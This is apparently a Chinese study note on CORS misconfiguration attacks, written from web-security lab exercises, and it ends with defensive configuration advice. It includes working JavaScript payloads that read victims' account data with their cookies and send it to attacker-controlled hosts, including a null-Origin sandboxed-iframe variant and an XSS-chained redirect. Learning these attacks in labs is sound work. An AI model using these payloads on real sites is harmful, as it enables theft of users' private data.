CORS漏洞

CSRF 只能发起操作（比如改邮箱、转账），黑客看不见服务器返回了什么。 但 CORS 漏洞 可以让黑客直接偷走数据。

• 攻击流程：

• 受害者登录了银行网站 bank.com。

• 受害者访问了黑客的网站 evil.com。

• evil.com 运行一段 JS 代码，悄悄请求 bank.com/account-details。

• 因为银行网站配置错误，它看到 Origin: evil.com，回了一句“欢迎访问”。

• 黑客的 JS 代码成功读取到了受害者的余额、交易记录甚至个人信息，并发送到自己的服务器。

SOP (同源策略)：它是浏览器的“守门大爷”。它规定：A 网站可以给 B 网站发请求，但 不能读取 B 网站返回的数据。

CORS (跨域资源共享)：它是 SOP 的“通行证”。浏览器发送请求带着origin端，服务器验证后返回ACAO：该origin，这样CORS验证就算通过，A网站就被浏览器允许读取收到的数据。

ACAO: Access-Control-Allow-Origin。服务器对信任的origin发来的请求的回应。

浏览器：发送带Origin头的请求
服务器：回应Access-Control-Allow-Origin等头
浏览器：检查回应头，决定是否允许访问

ACAC: Access-Control-Allow-Credentials,为True时浏览器才会带上cookie。

AJAX ： Asynchronous JavaScript And XML（异步 JavaScript 和 XML）。它是浏览器的一种“不刷新页面，悄悄在后台交换数据”的技术。

传统方式：你想看新内容，必须点击链接或提交表单。浏览器会整个刷新，页面“白一下”，然后显示新页面
AJAX 方式：你想看新内容，JavaScript 在后台向服务器发个请求，拿到数据后，只更新页面里的那一小块地方（比如你的个人资料卡）。页面不跳转，用户体验非常丝滑。

同源策略 (SOP) 保护的重点就是 AJAX。

• 如果你用 <img> 标签加载一张跨域图片，浏览器是允许的（这叫资源嵌入）。

• 但如果你用 AJAX (比如 XMLHttpRequest 或 fetch) 去读取另一个网站的数据，浏览器就会开启防御模式：

• 发出请求。

• 拿到响应后，检查响应头里的 CORS 策略。

• 如果发现服务器没允许你读，浏览器会直接把数据拦截，不给你的 JavaScript 代码看。

CORS 漏洞利用的模版：

# 执行时浏览器自动在请求里加了一个 `Origin: https://your-exploit-server.net`，而服务器返回了`Access-Control-Allow-Origin: https://your-exploit-server.net`，这就是CORS的体现，这漏洞极大，意为任何源过来服务器都会返回允许，浏览器得到允许后就会携带cookie
​
<script>
   var req = new XMLHttpRequest();  #创建了一个 AJAX 对象
   req.onload = reqListener;  #一个事件监听器。表示等数据被带回来就执行reqListener函数
   req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
   #'get'：告诉浏览器用 GET 方法去拿数据。/accountDetails：这是存储受害者 API Key 或个人信息的敏感接口。true：表示这是“异步”请求
   req.withCredentials = true;  #告诉浏览器发请求的时候，把受害者在这个网站的 Cookie 也带上
   req.send();
​
   function reqListener() {
       location='/log?key='+this.responseText;
       #将偷到的数据挂在 URL 的参数里，发送到黑客控制的 /log 页面
  };
</script>

白名单允许null Origin值，服务器不会对白名单以外的源返回Access-Control-Allow-Origin，但是会对origin为null的返回允许，攻击者可以伪造Origin: null的请求 。

<!– 使用沙盒iframe + data:协议页面 –>
<iframe sandbox="allow-scripts"
       src="data:text/html,<script>
           fetch('https://victim.com/data', {credentials: 'include'})
       </script>">
</iframe>
// 这个iframe里的请求Origin就是null，关键：data:text/html,…这种页面在iframe中发起请求时，浏览器会发送Origin: null

或者

#在最上边那个模版的基础上外面套了个沙箱和iframe，开头加了几个沙箱的属性
#allow-scripts：允许 iframe 里的 JavaScript 运行。
#没有 allow-same-origin：故意不加这个属性，会让 iframe 里的请求被浏览器标记为“唯一的（Unique）源”，从而强制浏览器在发起 AJAX 请求时携带 Origin: null。
#这允许你直接把整个攻击脚本塞进 URL 里。对于浏览器来说，这种从“内容”直接生成的页面没有物理域名，其源也是 null。
​
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>  
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
​
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

使用白名单时可能的其他漏洞：一些组织决定允许其所有子域名访问（包括尚未存在的未来子域名）。而且一些应用程序允许从其他组织的域名及其子域名访问。这些规则通常通过匹配URL前缀或后缀，或使用正则表达式实现。实现过程中的任何错误都可能导致访问被授予非预期的外部域。

例如，假设一个应用程序授予所有以以下结尾的域的访问权限：

normal-website.com

攻击者可能通过注册域名获得访问权限：

hackersnormal-website.com

再例如，假设一个应用程序授予所有以以下开头的域的访问权限。

normal-website.com

攻击者可能通过以下域名获得访问权限：

normal-website.com.evil-user.net

利用信任关系

表格中第一种类型的攻击示例：

<script>
   document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
#这么一段代码，其实就是先重定向让受害者到了受信任的子域名网站，后边一大堆XSS注入就是在让受害者的受信任网站向服务器发送AJAX请求，服务器检查origin然后允许，浏览器看到服务器允许访问（ACAO匹配成功），就把收到的数据交给这个网站了，就能够被XSS注入的函数读取了

表格中第二种类型的攻击步骤：

在不加密的 HTTP 环境下，谁能控制响应内容，谁就拥有了那个 URL 对应的 Origin 身份。

第一步：诱导与重定向

攻击者想办法（通过恶意广告、XSS 或欺骗链接）让受害者访问一个受控地址，然后将其重定向到 http://trusted-subdomain.vulnerable-website.com，强迫受害者的浏览器去请求这个域名，注意这里是 HTTP 而不是 HTTPS。HTTP 是明文的，不安全的。

第二步：中间人拦截与伪造响应

因为该子域名使用的是不安全的 HTTP，攻击者可以在网络层（例如在公共 Wi-Fi 环境下）拦截这个浏览器的请求，并返回一个伪造的 HTML 页面（这个页面里还写着我们之前学过的 CORS 偷数据脚本），浏览器并不知道这个响应是来自真正的服务器还是来自路边的黑客（如果是https浏览器会要求服务器出示SSL证书），浏览器得到回应就给 我们包含AJAX 脚本的伪造页面打上了 Origin: http://trusted-subdomain… 的标签。

第三步：利用“信任链”发起 CORS 请求

受害者的浏览器执行了伪造页面里的脚本。脚本去请求 https://vulnerable-website.com/sensitive-data。

• 浏览器的逻辑：

• 当前页面地址是 http://trusted-subdomain.vulnerable-website.com。

• 所以请求头会带上 Origin: http://trusted-subdomain.vulnerable-website.com。

• 服务器的逻辑：

• 看到请求来自自己的子域名。

• 检查白名单：*.vulnerable-website.com 在名单里。

• 放行！ 返回数据并带上 Access-Control-Allow-Origin: http://trusted-subdomain…。

第四步：数据外传

既然 CORS 验证通过了，浏览器就会把响应的数据放行给用户，伪造页面里的脚本就能读取到响应正文（API Key、个人信息等），然后直接发往攻击者的服务器。

这两者的区别在于脚本的注入方式，一个是通过子域漏洞进行xss注入，一个是通过http的不安全性拦截请求并伪造带有脚本的页面交给浏览器，浏览器会认可。

Intranets and CORS without credentials

通常情况下我们需要 ACAC: true 来带上 Cookie 身份，但很多内网资源（比如监控、文档、配置信息）是基于 IP 信任的。只要请求来自公司内部 IP，服务器就直接给数据，根本不需要登录。而且有的内网网站不设防，或者配置非常随意（例如 Access-Control-Allow-Origin: *）。

地址：http://192.168.1.100/docs/ （只有内网能访问）
配置：Access-Control-Allow-Origin: * （允许任何人跨域）
保护：无， 没有登录要求（因为是内网，觉得安全）
​
员工电脑访问：恶意网站.com
↓
恶意网站执行：fetch('http://192.168.1.100/docs/secret.pdf')
↓
员工浏览器：能访问内网，成功获取PDF
↓
恶意网站：把PDF发送到攻击者服务器

CORS防御

1.正确配置跨域请求

// 危险配置
Access-Control-Allow-Origin: *
​
// 正确配置
Access-Control-Allow-Origin: https://trusted-app.company.com

2.只信任可信站点

• 建立明确的白名单

• 不要动态反射Origin头

• 定期审查信任的源

3.避免允许null Origin

// 不要这样做
Access-Control-Allow-Origin: null
​
// 理由：沙盒iframe、data:URL等可以伪造null Origin

4.内网不要使用通配符

# 内网服务器配置 （不安全）
location /api/ {
  add_header Access-Control-Allow-Origin *;
}
​
# 内网服务器配置 （安全）
location /api/ {
  # 只允许特定的内网应用
  if ($http_origin ~* (https?://app\\.intranet\\.local)) {
      add_header Access-Control-Allow-Origin $http_origin;
  }
}

5.CORS不是服务器端安全的替代品